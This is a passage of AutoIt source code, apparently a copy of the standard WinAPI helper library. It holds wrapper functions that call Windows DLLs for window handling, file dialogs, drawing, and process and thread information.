  989.         If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd)
  990.         $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
  991.     WEnd
  992.     Return $__gawinlist_winapi
  993. EndFunc
  994.  
  995. Func _winapi_expandenvironmentstrings($sstring)
  996.     Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096)
  997.     If @error Then Return SetError(@error, @extended, "")
  998.     Return $aresult[2]
  999. EndFunc
  1000.  
  1001. Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons)
  1002.     Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfile, "int", $iindex, "handle", $plarge, "handle", $psmall, "uint", $iicons)
  1003.     If @error Then Return SetError(@error, @extended, 0)
  1004.     Return $aresult[0]
  1005. EndFunc
  1006.  
  1007. Func _winapi_fatalappexit($smessage)
  1008.     DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage)
  1009.     If @error Then Return SetError(@error, @extended)
  1010. EndFunc
  1011.  
  1012. Func _winapi_fillrect($hdc, $ptrrect, $hbrush)
  1013.     Local $aresult
  1014.     If IsPtr($hbrush) Then
  1015.         $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush)
  1016.     Else
  1017.         $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "ptr", $ptrrect, "dword", $hbrush)
  1018.     EndIf
  1019.     If @error Then Return SetError(@error, @extended, False)
  1020.     Return $aresult[0]
  1021. EndFunc
  1022.  
  1023. Func _winapi_findexecutable($sfilename, $sdirectory = "")
  1024.     Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "")
  1025.     If @error Then Return SetError(@error, @extended, 0)
  1026.     Return SetExtended($aresult[0], $aresult[3])
  1027. EndFunc
  1028.  
  1029. Func _winapi_findwindow($sclassname, $swindowname)
  1030.     Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname)
  1031.     If @error Then Return SetError(@error, @extended, 0)
  1032.     Return $aresult[0]
  1033. EndFunc
  1034.  
  1035. Func _winapi_flashwindow($hwnd, $finvert = True)
  1036.     Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $finvert)
  1037.     If @error Then Return SetError(@error, @extended, False)
  1038.     Return $aresult[0]
  1039. EndFunc
  1040.  
  1041. Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0)
  1042.     Local $tflash = DllStructCreate($tagflashwinfo)
  1043.     Local $pflash = DllStructGetPtr($tflash)
  1044.     Local $iflash = DllStructGetSize($tflash)
  1045.     Local $imode = 0
  1046.     If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_caption)
  1047.     If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_tray)
  1048.     If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timer)
  1049.     If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timernofg)
  1050.     DllStructSetData($tflash, "Size", $iflash)
  1051.     DllStructSetData($tflash, "hWnd", $hwnd)
  1052.     DllStructSetData($tflash, "Flags", $imode)
  1053.     DllStructSetData($tflash, "Count", $icount)
  1054.     DllStructSetData($tflash, "Timeout", $itimeout)
  1055.     Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "ptr", $pflash)
  1056.     If @error Then Return SetError(@error, @extended, False)
  1057.     Return $aresult[0]
  1058. EndFunc
  1059.  
  1060. Func _winapi_floattoint($nfloat)
  1061.     Local $tfloat = DllStructCreate("float")
  1062.     Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
  1063.     DllStructSetData($tfloat, 1, $nfloat)
  1064.     Return DllStructGetData($tint, 1)
  1065. EndFunc
  1066.  
  1067. Func _winapi_flushfilebuffers($hfile)
  1068.     Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile)
  1069.     If @error Then Return SetError(@error, @extended, False)
  1070.     Return $aresult[0]
  1071. EndFunc
  1072.  
  1073. Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
  1074.     Local $sbuffertype = "ptr"
  1075.     If IsString($pbuffer) Then $sbuffertype = "wstr"
  1076.     Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
  1077.     If @error Then Return SetError(@error, @extended, 0)
  1078.     If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
  1079.     Return $aresult[0]
  1080. EndFunc
  1081.  
  1082. Func _winapi_framerect($hdc, $ptrrect, $hbrush)
  1083.     Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush)
  1084.     If @error Then Return SetError(@error, @extended, False)
  1085.     Return $aresult[0]
  1086. EndFunc
  1087.  
  1088. Func _winapi_freelibrary($hmodule)
  1089.     Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
  1090.     If @error Then Return SetError(@error, @extended, False)
  1091.     Return $aresult[0]
  1092. EndFunc
  1093.  
  1094. Func _winapi_getancestor($hwnd, $iflags = 1)
  1095.     Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags)
  1096.     If @error Then Return SetError(@error, @extended, 0)
  1097.     Return $aresult[0]
  1098. EndFunc
  1099.  
  1100. Func _winapi_getasynckeystate($ikey)
  1101.     Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey)
  1102.     If @error Then Return SetError(@error, @extended, 0)
  1103.     Return $aresult[0]
  1104. EndFunc
  1105.  
  1106. Func _winapi_getbkmode($hdc)
  1107.     Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc)
  1108.     If @error Then Return SetError(@error, @extended, 0)
  1109.     Return $aresult[0]
  1110. EndFunc
  1111.  
  1112. Func _winapi_getclassname($hwnd)
  1113.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  1114.     Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  1115.     If @error Then Return SetError(@error, @extended, False)
  1116.     Return SetExtended($aresult[0], $aresult[2])
  1117. EndFunc
  1118.  
  1119. Func _winapi_getclientheight($hwnd)
  1120.     Local $trect = _winapi_getclientrect($hwnd)
  1121.     If @error Then Return SetError(@error, @extended, 0)
  1122.     Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
  1123. EndFunc
  1124.  
  1125. Func _winapi_getclientwidth($hwnd)
  1126.     Local $trect = _winapi_getclientrect($hwnd)
  1127.     If @error Then Return SetError(@error, @extended, 0)
  1128.     Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
  1129. EndFunc
  1130.  
  1131. Func _winapi_getclientrect($hwnd)
  1132.     Local $trect = DllStructCreate($tagrect)
  1133.     DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "ptr", DllStructGetPtr($trect))
  1134.     If @error Then Return SetError(@error, @extended, 0)
  1135.     Return $trect
  1136. EndFunc
  1137.  
  1138. Func _winapi_getcurrentprocess()
  1139.     Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
  1140.     If @error Then Return SetError(@error, @extended, 0)
  1141.     Return $aresult[0]
  1142. EndFunc
  1143.  
  1144. Func _winapi_getcurrentprocessid()
  1145.     Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
  1146.     If @error Then Return SetError(@error, @extended, 0)
  1147.     Return $aresult[0]
  1148. EndFunc
  1149.  
  1150. Func _winapi_getcurrentthread()
  1151.     Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
  1152.     If @error Then Return SetError(@error, @extended, 0)
  1153.     Return $aresult[0]
  1154. EndFunc
  1155.  
  1156. Func _winapi_getcurrentthreadid()
  1157.     Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
  1158.     If @error Then Return SetError(@error, @extended, 0)
  1159.     Return $aresult[0]
  1160. EndFunc
  1161.  
  1162. Func _winapi_getcursorinfo()
  1163.     Local $tcursor = DllStructCreate($tagcursorinfo)
  1164.     Local $icursor = DllStructGetSize($tcursor)
  1165.     DllStructSetData($tcursor, "Size", $icursor)
  1166.     DllCall("user32.dll", "bool", "GetCursorInfo", "ptr", DllStructGetPtr($tcursor))
  1167.     If @error Then Return SetError(@error, @extended, 0)
  1168.     Local $acursor[5]
  1169.     $acursor[0] = True
  1170.     $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
  1171.     $acursor[2] = DllStructGetData($tcursor, "hCursor")
  1172.     $acursor[3] = DllStructGetData($tcursor, "X")
  1173.     $acursor[4] = DllStructGetData($tcursor, "Y")
  1174.     Return $acursor
  1175. EndFunc
  1176.  
  1177. Func _winapi_getdc($hwnd)
  1178.     Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
  1179.     If @error Then Return SetError(@error, @extended, 0)
  1180.     Return $aresult[0]
  1181. EndFunc
  1182.  
  1183. Func _winapi_getdesktopwindow()
  1184.     Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
  1185.     If @error Then Return SetError(@error, @extended, 0)
  1186.     Return $aresult[0]
  1187. EndFunc
  1188.  
  1189. Func _winapi_getdevicecaps($hdc, $iindex)
  1190.     Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex)
  1191.     If @error Then Return SetError(@error, @extended, 0)
  1192.     Return $aresult[0]
  1193. EndFunc
  1194.  
  1195. Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $iusage)
  1196.     Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbi, "uint", $iusage)
  1197.     If @error Then Return SetError(@error, @extended, False)
  1198.     Return $aresult[0]
  1199. EndFunc
  1200.  
  1201. Func _winapi_getdlgctrlid($hwnd)
  1202.     Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd)
  1203.     If @error Then Return SetError(@error, @extended, 0)
  1204.     Return $aresult[0]
  1205. EndFunc
  1206.  
  1207. Func _winapi_getdlgitem($hwnd, $iitemid)
  1208.     Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid)
  1209.     If @error Then Return SetError(@error, @extended, 0)
  1210.     Return $aresult[0]
  1211. EndFunc
  1212.  
  1213. Func _winapi_getfocus()
  1214.     Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus")
  1215.     If @error Then Return SetError(@error, @extended, 0)
  1216.     Return $aresult[0]
  1217. EndFunc
  1218.  
  1219. Func _winapi_getforegroundwindow()
  1220.     Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow")
  1221.     If @error Then Return SetError(@error, @extended, 0)
  1222.     Return $aresult[0]
  1223. EndFunc
  1224.  
  1225. Func _winapi_getguiresources($iflag = 0, $hprocess = -1)
  1226.     If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess()
  1227.     Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag)
  1228.     If @error Then Return SetError(@error, @extended, 0)
  1229.     Return $aresult[0]
  1230. EndFunc
  1231.  
  1232. Func _winapi_geticoninfo($hicon)
  1233.     Local $tinfo = DllStructCreate($tagiconinfo)
  1234.     DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "ptr", DllStructGetPtr($tinfo))
  1235.     If @error Then Return SetError(@error, @extended, 0)
  1236.     Local $aicon[6]
  1237.     $aicon[0] = True
  1238.     $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
  1239.     $aicon[2] = DllStructGetData($tinfo, "XHotSpot")
  1240.     $aicon[3] = DllStructGetData($tinfo, "YHotSpot")
  1241.     $aicon[4] = DllStructGetData($tinfo, "hMask")
  1242.     $aicon[5] = DllStructGetData($tinfo, "hColor")
  1243.     Return $aicon
  1244. EndFunc
  1245.  
  1246. Func _winapi_getfilesizeex($hfile)
  1247.     Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0)
  1248.     If @error Then Return SetError(@error, @extended, 0)
  1249.     Return $aresult[2]
  1250. EndFunc
  1251.  
  1252. Func _winapi_getlasterrormessage()
  1253.     Local $tbufferptr = DllStructCreate("ptr")
  1254.     Local $pbufferptr = DllStructGetPtr($tbufferptr)
  1255.     Local $ncount = _winapi_formatmessage(BitOR($__winapiconstant_format_message_allocate_buffer, $__winapiconstant_format_message_from_system), 0, _winapi_getlasterror(), 0, $pbufferptr, 0, 0)
  1256.     If @error Then Return SetError(@error, 0, "")
  1257.     Local $stext = ""
  1258.     Local $pbuffer = DllStructGetData($tbufferptr, 1)
  1259.     If $pbuffer Then
  1260.         If $ncount > 0 Then
  1261.             Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
  1262.             $stext = DllStructGetData($tbuffer, 1)
  1263.         EndIf
  1264.         _winapi_localfree($pbuffer)
  1265.     EndIf
  1266.     Return $stext
  1267. EndFunc
  1268.  
  1269. Func _winapi_getlayeredwindowattributes($hwnd, ByRef $i_transcolor, ByRef $transparency, $ascolorref = False)
  1270.     $i_transcolor = -1
  1271.     $transparency = -1
  1272.     Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "dword*", $i_transcolor, "byte*", $transparency, "dword*", 0)
  1273.     If @error Then Return SetError(@error, @extended, 0)
  1274.     If NOT $ascolorref Then
  1275.         $aresult[2] = Hex(String($aresult[2]), 6)
  1276.         $aresult[2] = "0x" & StringMid($aresult[2], 5, 2) & StringMid($aresult[2], 3, 2) & StringMid($aresult[2], 1, 2)
  1277.     EndIf
  1278.     $i_transcolor = $aresult[2]
  1279.     $transparency = $aresult[3]
  1280.     Return $aresult[4]
  1281. EndFunc
  1282.  
  1283. Func _winapi_getmodulehandle($smodulename)
  1284.     Local $smodulenametype = "wstr"
  1285.     If $smodulename = "" Then
  1286.         $smodulename = 0
  1287.         $smodulenametype = "ptr"
  1288.     EndIf
  1289.     Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
  1290.     If @error Then Return SetError(@error, @extended, 0)
  1291.     Return $aresult[0]
  1292. EndFunc
  1293.  
  1294. Func _winapi_getmousepos($ftoclient = False, $hwnd = 0)
  1295.     Local $imode = Opt("MouseCoordMode", 1)
  1296.     Local $apos = MouseGetPos()
  1297.     Opt("MouseCoordMode", $imode)
  1298.     Local $tpoint = DllStructCreate($tagpoint)
  1299.     DllStructSetData($tpoint, "X", $apos[0])
  1300.     DllStructSetData($tpoint, "Y", $apos[1])
  1301.     If $ftoclient Then
  1302.         _winapi_screentoclient($hwnd, $tpoint)
  1303.         If @error Then Return SetError(@error, @extended, 0)
  1304.     EndIf
  1305.     Return $tpoint
  1306. EndFunc
  1307.  
  1308. Func _winapi_getmouseposx($ftoclient = False, $hwnd = 0)
  1309.     Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
  1310.     If @error Then Return SetError(@error, @extended, 0)
  1311.     Return DllStructGetData($tpoint, "X")
  1312. EndFunc
  1313.  
  1314. Func _winapi_getmouseposy($ftoclient = False, $hwnd = 0)
  1315.     Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
  1316.     If @error Then Return SetError(@error, @extended, 0)
  1317.     Return DllStructGetData($tpoint, "Y")
  1318. EndFunc
  1319.  
  1320. Func _winapi_getobject($hobject, $isize, $pobject)
  1321.     Local $aresult = DllCall("gdi32.dll", "int", "GetObject", "handle", $hobject, "int", $isize, "ptr", $pobject)
  1322.     If @error Then Return SetError(@error, @extended, 0)
  1323.     Return $aresult[0]
  1324. EndFunc
  1325.  
  1326. Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
  1327.     Local $ipathlen = 4096
  1328.     Local $inulls = 0
  1329.     Local $tofn = DllStructCreate($tagopenfilename)
  1330.     Local $afiles[1] = [0]
  1331.     Local $iflag = $iflags
  1332.     Local $asflines = StringSplit($sfilter, "|")
  1333.     Local $asfilter[$asflines[0] * 2 + 1]
  1334.     Local $istart, $ifinal, $stfilter
  1335.     $asfilter[0] = $asflines[0] * 2
  1336.     For $i = 1 To $asflines[0]
  1337.         $istart = StringInStr($asflines[$i], "(", 0, 1)
  1338.         $ifinal = StringInStr($asflines[$i], ")", 0, -1)
  1339.         $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
  1340.         $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
  1341.         $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
  1342.     Next
  1343.     Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
  1344.     Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
  1345.     Local $tfilter = DllStructCreate($stfilter & "wchar")
  1346.     Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
  1347.     Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
  1348.     For $i = 1 To $asfilter[0]
  1349.         DllStructSetData($tfilter, $i, $asfilter[$i])
  1350.     Next
  1351.     DllStructSetData($ttitle, "Title", $stitle)
  1352.     DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
  1353.     DllStructSetData($tpath, "Path", $sdefaultfile)
  1354.     DllStructSetData($textn, "Extension", $sdefaultext)
  1355.     DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
  1356.     DllStructSetData($tofn, "hwndOwner", $hwndowner)
  1357.     DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
  1358.     DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
  1359.     DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
  1360.     DllStructSetData($tofn, "nMaxFile", $ipathlen)
  1361.     DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
  1362.     DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
  1363.     DllStructSetData($tofn, "Flags", $iflag)
  1364.     DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
  1365.     DllStructSetData($tofn, "FlagsEx", $iflagsex)
  1366.     DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "ptr", DllStructGetPtr($tofn))
  1367.     If @error Then Return SetError(@error, @extended, $afiles)
  1368.     If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then
  1369.         For $x = 1 To $ipathlen
  1370.             If DllStructGetData($tpath, "Path", $x) = Chr(0) Then
  1371.                 DllStructSetData($tpath, "Path", "|", $x)
  1372.                 $inulls += 1
  1373.             Else
  1374.                 $inulls = 0
  1375.             EndIf
  1376.             If $inulls = 2 Then ExitLoop
  1377.         Next
  1378.         DllStructSetData($tpath, "Path", Chr(0), $x - 1)
  1379.         $afiles = StringSplit(DllStructGetData($tpath, "Path"), "|")
  1380.         If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  1381.         Return StringSplit(DllStructGetData($tpath, "Path"), "|")
  1382.     ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then
  1383.         $afiles = StringSplit(DllStructGetData($tpath, "Path"), " ")
  1384.         If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  1385.         Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|")
  1386.     Else
  1387.         Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  1388.     EndIf
  1389. EndFunc
  1390.  
  1391. Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $fwait = False)
  1392.     Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $fwait)
  1393.     If @error Then Return SetError(@error, @extended, False)
  1394.     $ibytes = $aresult[3]
  1395.     Return $aresult[0]
  1396. EndFunc
  1397.  
  1398. Func _winapi_getparent($hwnd)
  1399.     Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd)
  1400.     If @error Then Return SetError(@error, @extended, 0)
  1401.     Return $aresult[0]
  1402. EndFunc
  1403.  
  1404. Func _winapi_getprocessaffinitymask($hprocess)
  1405.     Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0)
  1406.     If @error Then Return SetError(@error, @extended, 0)
  1407.     Local $amask[3]
  1408.     $amask[0] = True
  1409.     $amask[1] = $aresult[2]
  1410.     $amask[2] = $aresult[3]
  1411.     Return $amask
  1412. EndFunc
  1413.  
  1414. Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
  1415.     Local $ipathlen = 4096
  1416.     Local $tofn = DllStructCreate($tagopenfilename)
  1417.     Local $afiles[1] = [0]
  1418.     Local $iflag = $iflags
  1419.     Local $asflines = StringSplit($sfilter, "|")
  1420.     Local $asfilter[$asflines[0] * 2 + 1]
  1421.     Local $istart, $ifinal, $stfilter
  1422.     $asfilter[0] = $asflines[0] * 2
  1423.     For $i = 1 To $asflines[0]
  1424.         $istart = StringInStr($asflines[$i], "(", 0, 1)
  1425.         $ifinal = StringInStr($asflines[$i], ")", 0, -1)
  1426.         $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
  1427.         $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
  1428.         $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
  1429.     Next
  1430.     Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
  1431.     Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
  1432.     Local $tfilter = DllStructCreate($stfilter & "wchar")
  1433.     Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
  1434.     Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
  1435.     For $i = 1 To $asfilter[0]
  1436.         DllStructSetData($tfilter, $i, $asfilter[$i])
  1437.     Next
  1438.     DllStructSetData($ttitle, "Title", $stitle)
  1439.     DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
  1440.     DllStructSetData($tpath, "Path", $sdefaultfile)
  1441.     DllStructSetData($textn, "Extension", $sdefaultext)
  1442.     DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
  1443.     DllStructSetData($tofn, "hwndOwner", $hwndowner)
  1444.     DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
  1445.     DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
  1446.     DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
  1447.     DllStructSetData($tofn, "nMaxFile", $ipathlen)
  1448.     DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
  1449.     DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
  1450.     DllStructSetData($tofn, "Flags", $iflag)
  1451.     DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
  1452.     DllStructSetData($tofn, "FlagsEx", $iflagsex)
  1453.     DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "ptr", DllStructGetPtr($tofn))
  1454.     If @error Then Return SetError(@error, @extended, $afiles)
  1455.     Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  1456. EndFunc
  1457.  
  1458. Func _winapi_getstockobject($iobject)
  1459.     Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject)
  1460.     If @error Then Return SetError(@error, @extended, 0)
  1461.     Return $aresult[0]
  1462. EndFunc
  1463.  
  1464. Func _winapi_getstdhandle($istdhandle)
  1465.     If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
  1466.     Local Const $ahandle[3] = [-10, -11, -12]
  1467.     Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle])
  1468.     If @error Then Return SetError(@error, @extended, -1)
  1469.     Return $aresult[0]
  1470. EndFunc
  1471.  
  1472. Func _winapi_getsyscolor($iindex)
  1473.     Local $aresult = DllCall("user32.dll", "dword", "GetSysColor", "int", $iindex)
  1474.     If @error Then Return SetError(@error, @extended, 0)
  1475.     Return $aresult[0]
  1476. EndFunc
  1477.  
  1478. Func _winapi_getsyscolorbrush($iindex)
  1479.     Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex)
  1480.     If @error Then Return SetError(@error, @extended, 0)
  1481.     Return $aresult[0]
  1482. EndFunc
  1483.  
  1484. Func _winapi_getsystemmetrics($iindex)
  1485.     Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
  1486.     If @error Then Return SetError(@error, @extended, 0)
  1487.     Return $aresult[0]
  1488. EndFunc
  1489.  
  1490. Func _winapi_gettextextentpoint32($hdc, $stext)
  1491.     Local $tsize = DllStructCreate($tagsize)
  1492.     Local $isize = StringLen($stext)
  1493.     DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "ptr", DllStructGetPtr($tsize))
  1494.     If @error Then Return SetError(@error, @extended, 0)
  1495.     Return $tsize
  1496. EndFunc
  1497.  
  1498. Func _winapi_getwindow($hwnd, $icmd)
  1499.     Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd)
  1500.     If @error Then Return SetError(@error, @extended, 0)
  1501.     Return $aresult[0]
  1502. EndFunc
  1503.  
  1504. Func _winapi_getwindowdc($hwnd)
  1505.     Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd)
  1506.     If @error Then Return SetError(@error, @extended, 0)
  1507.     Return $aresult[0]
  1508. EndFunc
  1509.  
  1510. Func _winapi_getwindowheight($hwnd)
  1511.     Local $trect = _winapi_getwindowrect($hwnd)
  1512.     If @error Then Return SetError(@error, @extended, 0)
  1513.     Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
  1514. EndFunc
  1515.  
  1516. Func _winapi_getwindowlong($hwnd, $iindex)
  1517.     Local $sfuncname = "GetWindowLongW"
  1518.     If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
  1519.     Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex)
  1520.     If @error Then Return SetError(@error, @extended, 0)
  1521.     Return $aresult[0]
  1522. EndFunc
  1523.  
  1524. Func _winapi_getwindowplacement($hwnd)
  1525.     Local $twindowplacement = DllStructCreate($tagwindowplacement)
  1526.     DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement))
  1527.     Local $pwindowplacement = DllStructGetPtr($twindowplacement)
  1528.     DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement)
  1529.     If @error Then Return SetError(@error, @extended, 0)
  1530.     Return $twindowplacement
  1531. EndFunc
  1532.  
  1533. Func _winapi_getwindowrect($hwnd)
  1534.     Local $trect = DllStructCreate($tagrect)
  1535.     DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "ptr", DllStructGetPtr($trect))
  1536.     If @error Then Return SetError(@error, @extended, 0)
  1537.     Return $trect
  1538. EndFunc
  1539.  
  1540. Func _winapi_getwindowrgn($hwnd, $hrgn)
  1541.     Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn)
  1542.     If @error Then Return SetError(@error, @extended, 0)
  1543.     Return $aresult[0]
  1544. EndFunc
  1545.  
  1546. Func _winapi_getwindowtext($hwnd)
  1547.     Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  1548.     If @error Then Return SetError(@error, @extended, "")
  1549.     Return SetExtended($aresult[0], $aresult[2])
  1550. EndFunc
  1551.  
  1552. Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid)
  1553.     Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
  1554.     If @error Then Return SetError(@error, @extended, 0)
  1555.     $ipid = $aresult[2]
  1556.     Return $aresult[0]
